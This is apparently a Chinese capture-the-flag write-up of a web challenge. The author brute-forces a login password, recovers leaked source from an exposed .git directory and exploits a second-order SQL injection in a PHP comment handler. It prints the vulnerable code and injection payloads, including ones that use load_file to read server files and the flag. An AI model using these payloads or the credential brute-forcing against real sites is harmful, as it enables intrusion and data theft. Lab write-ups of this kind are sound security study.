首先尝试一下发帖会跳转到登录界面,之后他给了账号zhangwei,密码是zhangwei???,用burpsuit爆破一下得到完整的账号密码zhangwei666,登录进去.
    dirseach扫描出git文件947`(H4UU%HKJ}EU{MS7$EC.png

    1. git stash恢复:
    2. 最常用的就是使用git clonegithub上的源码下载下来,在实际上当你把代码提交给github时是分为两个步骤的:一个git add,另一个是git commit
    3. git工具里存在一个缓存区stage,当在工作区写完代码后,首先是使用git add,就是把修改后的代码放到了stage缓存区,但是修改之前的代码也是可以找打的,也存在stage缓存区里,虽然现在看到的是修改后的代码,但是之前的代码并没有被删掉,只有当你进行 git commit 上传到git hub 中的master中,缓存区才会被清除,也就是之前修改的代码才会被覆盖掉。在git commit之前,可以利用git stash把修改前的代码恢复。

    所以我们先用git clone 下载该文件
    N}`1@CJ(%USZIMASW9H]N3R.png下载完成发现代码并不是完整的 用git log —all显示所有的历史上传
    ![ZC]MBK}N4P78SF[3[2%XOO.png](https://cdn.nlark.com/yuque/0/2021/png/22602434/1633566810379-4ec05a72-cb5b-41db-8ddf-77f88349f8f9.png#clientId=u57f12016-0f7c-4&from=drop&id=u8ec104ad&margin=%5Bobject%20Object%5D&name=ZC%5DMBK%7DN4P78SF%5B3%5B2%25XOO.png&originHeight=336&originWidth=660&originalType=binary&ratio=1&size=102108&status=done&style=none&taskId=u1043f735-ec2a-42a4-82f6-46f23d6d484)
    键入

    1. git reset -head e5b2a2443c2b6d395d06960123142bc91123148c

    重新加载do_write.php 发现完整代码

    1. <?php
    2. include "mysql.php";
    3. session_start();
    4. if($_SESSION['login'] != 'yes'){
    5. header("Location: ./login.php");
    6. die();
    7. }
    8. if(isset($_GET['do'])){
    9. switch ($_GET['do'])
    10. {
    11. case 'write':
    12. $category = addslashes($_POST['category']);
    13. $title = addslashes($_POST['title']);
    14. $content = addslashes($_POST['content']);
    15. $sql = "insert into board
    16. set category = '$category',
    17. title = '$title',
    18. content = '$content'";
    19. $result = mysql_query($sql);
    20. header("Location: ./index.php");
    21. break;
    22. case 'comment':
    23. $bo_id = addslashes($_POST['bo_id']);
    24. $sql = "select category from board where id='$bo_id'";
    25. $result = mysql_query($sql);
    26. $num = mysql_num_rows($result);
    27. if($num>0){
    28. $category = mysql_fetch_array($result)['category'];
    29. $content = addslashes($_POST['content']);
    30. $sql = "insert into comment
    31. set category = '$category',
    32. content = '$content',
    33. bo_id = '$bo_id'";
    34. $result = mysql_query($sql);
    35. }
    36. header("Location: ./comment.php?id=$bo_id");
    37. break;
    38. default:
    39. header("Location: ./index.php");
    40. }
    41. }
    42. else{
    43. header("Location: ./index.php");
    44. }
    45. ?>

    发现除了 $category = mysql_fetch_array($result)[‘category’];之外别的数据都经过了addslashes转义,所以在category上可能存在注入点,构造了一下payload:

    1. insert into comment
    2. set category = '0',content = database(),/*,
    3. content = '$content'*/#,
    4. bo_id = '$bo_id';

    就可以达到注入的效果
    所以category里键入

    1. 0',content=database(),/*

    在content里键入

    1. */#

    效果如下
    BB`}F{9{B4PIPJE$XWJ_ZXA.png手工注入获取数据表这些没有发现flag
    尝试读取一些敏感文件

    1. a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

    得到后经过hex解码得到flag文件
    BIBDZ7~M)0}]{3DRWUE$(8P.png键入

    1. 0',content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

    得到flag6KLAEXJR~1$8ME1K9)6F5Z0.png